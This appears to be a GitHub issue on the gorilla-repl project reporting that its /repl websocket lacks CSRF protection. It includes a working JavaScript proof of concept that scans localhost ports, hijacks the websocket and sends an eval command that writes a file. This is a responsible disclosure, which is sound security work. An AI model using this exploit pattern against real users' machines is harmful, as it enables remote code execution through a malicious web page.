JonyEpsilon / gorilla-repl

A rich REPL for Clojure in the notebook style.
http://gorilla-repl.org
MIT License
888 stars 104 forks source link

The websocket is not protected against CSRF #254

Open atx opened 8 years ago

atx commented 8 years ago

The websocket at /repl does not seem to be protected against CSRF (or, CSWSH as some like to call it). This allows a malicious website to execute arbitrary code on the host.

PoC:

var ports = [];
var done = false;

for (var i = 10000; i < 65535; i++) {
    ports.push(i);  
}

function spawn() {
    if (done || ports.length < 1)
        return;
    var port = ports.pop();
    var ws = new WebSocket("ws://localhost:" + port + "/repl");
    ws.onerror = spawn;
    ws.onopen = function() {
        done = true;
        console.log("Connected");
        ws.send(JSON.stringify({"op": "eval", "code": "(spit \"/tmp/file\" \"evil!\")" }))
    }
}

for (var i = 0; i < 200; i++) {
    spawn();
}